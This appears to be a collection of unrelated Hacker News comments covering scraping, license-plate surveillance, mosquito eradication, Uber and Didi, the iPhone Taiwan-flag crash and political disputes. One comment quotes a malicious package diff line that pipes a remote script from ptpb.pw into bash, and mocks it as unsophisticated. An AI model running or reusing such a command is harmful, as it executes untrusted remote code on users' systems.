skysight-inc/HackerNews huggingface dataset:
I crawl a specific site somewhere up to 50 unique URLs a day. I store both the unparsed full html as a file and the json I'm looking for as another separate file. The idea is if something breaks instead of taking a hit to make the call again, I have the data and I should just process that. It's come in extremely handy when a site redesign changed the DOM and broke the parser.

I do the same at $dayJob where I'm parsing results of an internal API. Instead of making a call later that may not have the same data, I store the json and just process that. I feel like treating network requests as an expensive operation, even though they're not really, helped me come up with some clever ideas I've never had before. It's a premature optimization considering I've had like 0.000001% of failure but being able to replay that one breakage made debugging an esoteric problem waaaaaay simpler than it would've been otherwise.
> ...using gitlab and kubernetes...

It's not technical debt. It's recent, trendy and slow stuff. It seems some bad decisions have been made. If you're asked, start by saying that. You need to understand why it's bad before by yourself.

> Currently the site takes ~20 seconds to render at some places.

Make something custom to solve each case. Pick what you think is the fastest this time (not the trendiest). The fastest is static html when it's possible.
Erradicating a mosquito species could have negative ecological consequences unknown now, and on top of that, there’s the risk of another vector taking the mosquito’s place.
This is very cool. I want to search, can we search?
The trigger here is ICE. For many people in this country, anything ICE does is bad now.
This type of thinking is everywhere. “X did Y and succeeded, so I should do Y.” It’s why lots of startup founders wear the same outfit every day, why Trump’s Republican opponents tried calling him names, why people buy Michael Jordan branded basketball shoes.
Show HN: Multiple ways of managing state in single-page-apps
A bit.ly link to the patreon page is autokilled here. The content looks interesting. Are your "contributions" to open source projects merged? Are they stand alone complements?

I looked at your previous submissions and I think that you have already submitted them. I think the "LLVM Heat Printer" is nice and has a potential for popular blog post, but you must write a longer blog post with a few examples and many heatmaps and explain a little more why your project is amazing and why it is better than the naïve approach. To get a popular post you must mix some interesting technical content with some interesting graphics that make the technical content easy to visualize. (I hope it's a good recipe, good luck with it.)

(Add a link to the patreon page at the bottom of the blog post.)
100% Agree it's been beaten to death but people still do it:

http://www.storytellingwithdata.com/blog/2011/07/death-to-pi...

http://www.businessinsider.com/pie-charts-are-the-worst-2013...

https://qz.com/1259746/when-should-you-use-a-pie-chart-accor...
Own properties are well define (and were in 3.1 IIRC). Deleted properties are not visited, added properties are not visited.

But behavior when you deleted an own property that shadowed a property on the proto chain, and what happens when you add such property back.

Also the historic spec mandated integer properties on regular objects were iterated in insertion order as well, but V8 chose not to implement that as doing so broke their "Indexed properties are just an array" semantics. Because of the huge perf impact other browsers had to go down that same path.
I never understood why the U.S didn't just do the same sort of thing with poppies in Afganistan. Would have completely wiped out the Taliban funding.
How does Uber pose against ridesharing competitors in terms of market valuation?
Ditched all social media a few years ago - still not looking back.

It has its downsides but I like the fact that my life is ad/spam-free.
It's not xenophobic to want or expect a country to protect its IP from a country known to openly flout such rules.
I wouldn't if the new purchasers could - after the sale was complete - rewrite the charter to make only their shares have any value.
And your department is only concerned with future capabilities, historical records are someone else's job. And your company just pivoted from lunar exploration to lunar colonization, no, Mars exploration, no, space stations, no, space defense, no, Mars exploration again.
YC catchphrase is good for that "make what people want". Try to understand what people around want or need.
Someone could offer a torrent file or ipfs hash to the files so other people don't have to hug their bandwidth to death.
Such a tired view/joke. Python is just as bad but doesn't receive nearly as much hate
Well, when you rip kids from parents seeking asylum, and then can't even get them back to their parents in a timely manner, yeah, people get upset.
Given this news, I'm going to contact some other large mall chains (e.g. Westfield), in the hopes that they'll confirm that they don't give out license plate data to third parties.

I'll be interested to see how they respond.
Honestly I've always found MTP to be incredibly slow and sometimes unreliable.

I personally just install termux, which allows you to install openssh. Run sshd and then you can use rsync or scp or sshfs or other from the host PC.
Just because there shouldn't be an expectation of privacy doesn't mean we have to be happy when it's revealed that a private company is tracking this stuff en masse.
When adjusting paint colors if what you have is too red “or on the red side” you can correct it by adding green. If what you have is on the blue side add yellow then kind of straighten out the undesirable green by adding a smidge of red. This is the sort of thing a skilled shader technician would do to match automotive or sign paint. I did this for a while for PPG

You might find playing with the LAB color scale in photoshop an interesting toy to see why a reddish green color has no sense. by adding red to green you end up on the gray side. basically the colors just neutralize each other.
interesting that Uber has almost as high of a valuation as Didi
CybernΔzi is an original artist.

Another original artist is Xurious, who does sometimes include spoken word in the tracks (I recall at least one with Woes in it).

I also wouldn't conflate Trumpwave with fashwave. Trumpwave imagery is of course popular with the TD crowd, fashwave not so much when they realize the associations.

None the less, if you like the music, no need to self flagellate.
Exactly. I agree and think this is actually a thing. We don't know enough about what mosquitoes could be doing to help us. I think less-risk strategies like repellents / clothing / vaccines are better than ecosystem engineering. As 'impressively effective' as their results are, I do not think they are doing a good thing. So you better get your mosquito bites while they last.
Looking on this from the outside, it is bordeline comical what the american democrats have become. The way You american lefties are behaving is the best way to ensure 8 years of Trump. Instead of promoting cooler heads and more reasonable approach, some people from the blue team (maybe a minority, but a very vocal one) are now calling Bernie not leftist enough and proposing the idea of abolishing your immigration agency. Like, what? Not only is that an idiotic proposal, it's also a political suicide. Meanwhile your country is still the only industrialized country on Earth without universal health care.
Summary: "raw data on the temperature of the moon's surface, as well as a few meters below it, was transmitted from the probes and recorded on magnetic tapes". Some of the tapes were not correctly archived and were only recently found. The previously available tapes showed that "the moon unexpectedly rose in temperature by 1.8°F to 3.6°F near the probes. The possible reasons for this change were debated by planetary scientists for decades." Now with the new data, and because "researchers were also able to look at recently acquired images from the Lunar Reconnaissance Orbiter Camera over the two landing sites, [t]he only scenario that fits this type of warming is that the astronauts caused it. While they were driving[/walking] over the surface, [they] disturbed the moon's surface, which is covered in regolith, a layer of dust and debris. Images from the camera show that those paths were darker, which lowered their albedo, or ability to reflect the sun's light into space", thereby absorbing more heat.
Better yet, ask them to confirm that they don't track this stuff in the first place.
There are literally thousands of species of mosquito which don’t bite humans. Just one sub-species which kills hundreds of thousands of human babies is being targeted.

It’s great to ask “what-if”?! This is a well studied problem of an invasive species where the scientific answer to your question is: there is no downside.
Starters, Finishers, and Large Teams
> There should not be any expectation of privacy in regard to one’s license plate or the location of its sighting

The Supreme Court has continuously recognized the difference between manual and sustained, remote and automated tracking, even in public spaces [1]. The "seismic shifts in digital technology" we are presently undergoing require vigilance to be maintained in respect of the Bill of Rights.

[1] http://www.scotusblog.com/2018/06/opinion-analysis-court-hol...
Saying Taiwan is a country is a like saying the n-word in the United States.
It’s legal in the US.
Questioning why Chinese nationals are hired in tech is xenophobia. Period.
That looks very GP-ish, but - as with all GP - the usefulness of the outputs depends on the sophistication of the cost function.

What does "close" mean here? I don't see that explained.

If you're trying to match outputs, then this is just old-fashioned GP with a minor twist - i.e. including speed in the fitness function, which has the potential to find some novel local maxima, which produce outputs that are close to the target AND very fast.

If you're trying to match instruction sequences - then I don't see the point at all.

GP often fails because it runs out of steam before producing a definitively correct solution.

It's easy to design cost/fitness functions that get close but not close enough, and slightly harder to design functions that solve a non-trivial problem some of the time.

It's incredibly hard to design functions that find an answer reliably without getting lost in the problem space.
http://dailyprog.org/

It's not really my website as I don't have and I'm not the only one to work on.
They posted a correction.

“Correction: A previous version of the story mistakenly said that 5,000 Apple employees are working on autonomous driving technology. The complaint says 5,000 people are "disclosed on the project," which includes employees working on it or familiar with it.”
So for consistency, surely we can read the blog post against similar issues like requiring icloud data locality? Otherwise, we need to be very clear where you're even allowed to publicly disagree or not.
The trigger is private companies handing over people’s info to law enforcement en masse without a warrant. s/ICE/FBI/ and people would still be upset. Maybe a bit less just because the FBI occasionally goes after actually dangerous people.
Does anyone know how effectively block that annoying video?
> abolishing your immigration agency

Nobody in this thread has proposed abolishing ICE. It is a non-mainstream political movement entirely unrelated to this thread.
When I read text with the fullwidth latin unicode like that, it certainly feels more dreamlike. I think Vaporwave appeals to me a lot as tapes and the aesthetics of foreign-made (eg: Japan, Taiwan, etc.) electronics feel vivid in the fuzzier memories of my childhood.

If the film Inception was made today, the photograph in the vault could have been an old VHS tape.
It'd be interesting to see how many monthly active users each of these companies have
Sounds like a "right tool for the job" situation.

I thankfully don't have to worry about power loss (large company, teams dedicated to critical systems infrastructure in a big way), and a cron job can handle any archival concerns in the projects I'm running here.

It does sound like they've improved much since 2011.

Anyway thanks for the insight
Ex-Apple Employee Stole Secrets for Chinese Firm, U.S. Says
aurman does a good job. It caches the old PKGBUILD and lets you view diffs. Still, reviewing a PKGBUILD is a non-trivial process.
Maybe don't try to cross the border illegaly then? Seems like a valid deterrent to me.
Yeah, they were mountain bikes. Seems crazy to me that you have to spend $1000+ just to get something usable. Ah well... :P
It's a big mixed bag. If you do it that way, you just massively increased the recruitment potential for the Taliban. All of those farmers are now wiped out, have nothing to do for work, and have a new sworn enemy for life. The only possible solution that might yield positive results is aggressive replacement subsidization (extremely expensive).
> + curl -s https://ptpb.pw/~x|bash -&

So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.

Not much to see here, fortunately.
If they have ten cameras in a mall and catch a car ten times as it circles, they probably count it 10 times.
Chinese Censorship Bug Caused iPhone Crashes When Receiving Taiwan Flag Emoji
You think it's okay to debase the chief of the rescue operation, ignore the advice he took from multiple teams, and cherry pick a personal email correspondence with one guy that basically just says "keep trying" just so Musk can dance around, yet again, people pointing out a potential PR stunt?

I don't know what level of social ineptness is required to ignore not only the blatant insult against the chief, but Musk's presumably unintentional insult to the rest of the team that informed the chief what they thought about Musk's idea to carry a 300lb tube through volatile currents in a tight, murky cave system.

Talk about domain specialization.
good to know. cool. I hope to make a few thousand anyways.
Shanghai – Life In The Megacity
Incredible concept! On mobile (ios 6s) the website needs some work.
This is what we did at STOMT at day one. For those who are interested in how to accomplish this with PHP / Laravel / Lumen: https://www.stomt.com/blog/shared-components-across-multiple...
> I'm having a hard time understanding what is cowardly about complying with Chinese law when selling products inside China. There are many laws in the US I don't agree with, but I'm obligated to comply with them for as long as I choose to live here and remain a citizen.

That you draw such equivalence may be why you have a hard time understanding.
It depends how on the deal is structured. Public money flows to private hands to fund research. If the research pans out, does any of the profit flow back to the public? Typically not.
It's government surveillance. The mall can collect and record whatever data they want on their property, who cares. We can compel our government to not accept and blindly process this data en masse. It's the same as taking bulk data from Facebook, or Google, and looking for the .0001% that points to a criminal. Many, myself included, believe that this is wrong.
> ask them to confirm that they don't track this stuff in the first place

I could see a reasonable case being made for collecting these data, storing them for a few weeks, and then deleting them, to protect against thieves.

The problem here is that for the government to collect these data, they would need to follow certain processes. A private actor who isn't following those processes is placing those data with the government, thereby circumventing a critical check on police power.
Depends on how frequently you need to access those keys.

If it's for long-term storage only then I would consider keeping the keys in a password manager on an online machine to be an unnecessary risk. Keep the key offline, possibly even on a piece of paper (a piece of paper at home or at a friend's would be totally safe as long as nobody knows you have coins - and any eventual burglars wouldn't even know what the paper is for).
And data storage was a lot more expensive to maintain and keep track of.

When you have a room full of 9" reel tapes with handwritten labels, it's hard to know what you're throwing away when you need more space. If you don't have the (again, probably handwritten) book that tells you what's on the tapes, then you probably just don't know what's there.
> Library inconsistencies between services? No, just no, always use the same library version for all services. Automate importing/updating the libraries if you need to.

If you did this then you'd have to go and update all services whenever you wanted to introduce a breaking change. I don't think what you're suggesting is as easy as it sounds.
> The idea that alternative monetization strategies are workable in the large scale is almost self-refuting. Patents don't preclude you from developing technology and releasing it into the public domain, so long as you get there first. But it seems like companies motivated by patent protection consistently "get there first." That is itself a validation of the incentive structure created by patents.

There is a baseline level of research which will be done even without the patent system, e.g. because Verizon would rather spend fifty million dollars improving radio efficiency than an extra billion dollars in a spectrum auction. If you provide a patent system on top of that, they take the patent even if it wasn't necessary for them to do the research. That isn't proof the patent grant was the incentive for that research, only that it was the incentive to apply for the patent on it.

If you want the real numbers you need some way to distinguish those cases from the ones where the invention wouldn't occur without the patent grant.
Segment is very much built around microservices. They just consolidated 100+ of these destination services into a single one. That's it.
The US Supreme Court just made the distinction, when ruling that access to a cellular telephone carrier's location data for a particular subscriber required a warrant (and hence a showing of probable cause):

The Government’s position fails to contend
with the seismic shifts in digital technology
that made possible the tracking of not only
Carpenter’s location but also everyone else’s,
not for a short period but for years and years.
Sprint Corporation and its competitors are not
your typical witnesses. Unlike the nosy neighbor
who keeps an eye on comings and goings, they
are ever alert, and their memory is nearly
infallible.

_Carpenter v. United States_, No. 16-402 (June 22, 2018) (Slip Op., at 15)

That's the difference, beyond simple public/private. It's not that the license plate display itself is private but storing the data forever and being nearly infallible amounts to an unreasonable intrusion on privacy when handed over to the government. Notably, the USSC in a 9-0 ruling from 2012 held that attaching a GPS tracker to a car also required a warrant. _United States v. Jones, 132 S.Ct. 945 (2012).
probably because Didi bought out all of Uber's operations in China and thus effectively monopolizes Chinese rideshare. it would be interesting to see rideshare market share broken down geographically
The headline is completely misleading and actually understated the problem. One California mall developer is sharing their license plate data with one third party company which may or may not be sharing this data with other parties. This is worse because

1) companies have gotten so big that one company can control a huge number of shopping malls

2) huge-scale data collection and transmission is so easy/cheap that one decision by one person can affect the privacy of hundreds of thousands of people

3) the “service” model of software delivery makes it much harder to know what is or isn’t being done with the data that you’re generating by using that software
Mozilla can do a lot of things that harm users or the general public but increase its success. Mozilla shouldn't do these things.
I have every reason to want this thing to succeed. I used to work at Microsoft, I want more competition in the space, I even develop software for Windows.

But good lord is Microsoft hardware just utter trash compared to what Apple is putting out these days.

Let's compare: Surface 3 Pro vs. Macbook Air. MBA is 4 years old, SP3 is about 3 years old. (I own both and am speaking 100% from personal experience here)

Macbook Air: 6-8 hours of battery life. Surface: 3-4.

Macbook air recovery from sleep: flawless. Surface sleep kinda-sorta works. Sometimes I have to push the button 2-3 times. It usually takes at least 5-10 seconds to recover. It's not instant like my Air.

Occasionally my surface does silly things, like I'll flip the cover back and the screen shows up inverted. I can shake it, turn it sideways, try to fix it, nothing. This sort of nonsense simply doesn't happen on my Macbook Air. Ever.

The keyboard of the surface pro is terrible. It flexes under normal weight and is too light to properly balance the machine.

The display on the surface, despite getting less battery life, is less bright, and less glare-resistant.

The surface is thicker. It also uses an eMMC hard disk drive that gets shoddy performance compared to the SSD in the (older) Air.

About the only thing the surface has going for it is the pen which I use from time to time.

This is one of those cases where you can make a "fair" comparison but it really isn't even close. Apple is just playing in an entirely different league than MS. Apple is designing their own CPUs while Microsoft is still trying to figure out how to get wake-from-sleep working. There just isn't any real competition here at all.
> You’re free to start your own ISP.

Not really.

https://arstechnica.com/tech-policy/2017/10/another-state-la...

This is the Republican hypocrisy: only corporations (or extremely wealthy individuals) can start ISPs. Municipalities, a.k.a. The People, cannot.
> Is the word "Taiwan" such a bad word in China that, instead of some reasonable action, it crashes the OS?

From my reading of the article, the intention was not to crash the device, but to hide the Taiwanese flag emoji - and the crash was because the code intended to do that was buggy.

So no - it's not _that_ bad a word.

> Is the Chinese government so upset about Taiwan they're insisting manufacturers hide the flag from the keyboard?

Yes, it seems this is true - and while I've never needed to deal with requests like that from a nation state, it does seem kinda cowardly on Apple's part to agree to that, and it seems quite at odds with the resistance to the FBI getting a screenlock bypass to that iPhone 5 a while back...
iMessage isn't SMS so I don't understand your first sentence. That's like saying "Nobody sends email because postal stamps are expensive".

As for the second sentence, iMessage isn't iCloud. And even if the iMessage data is stored in the same data center (which I have no idea), it's end-to-end encrypted so that doesn't help China.
The video in question though has its backing track by iamMANOLIS
I'm personally pretty satisfied with not having my flesh eaten by screw flies. They were wiped out in North America and I'm very grateful.

https://en.wikipedia.org/wiki/Cochliomyia_hominivorax
How am I arguing in bad faith when your comment didn't specify citizens, and merely said people? My point was that there aren't many citizens that fall into the category you were talking about, but there are many people that do. Most citizens, at a minimum, have some form of government issued ID.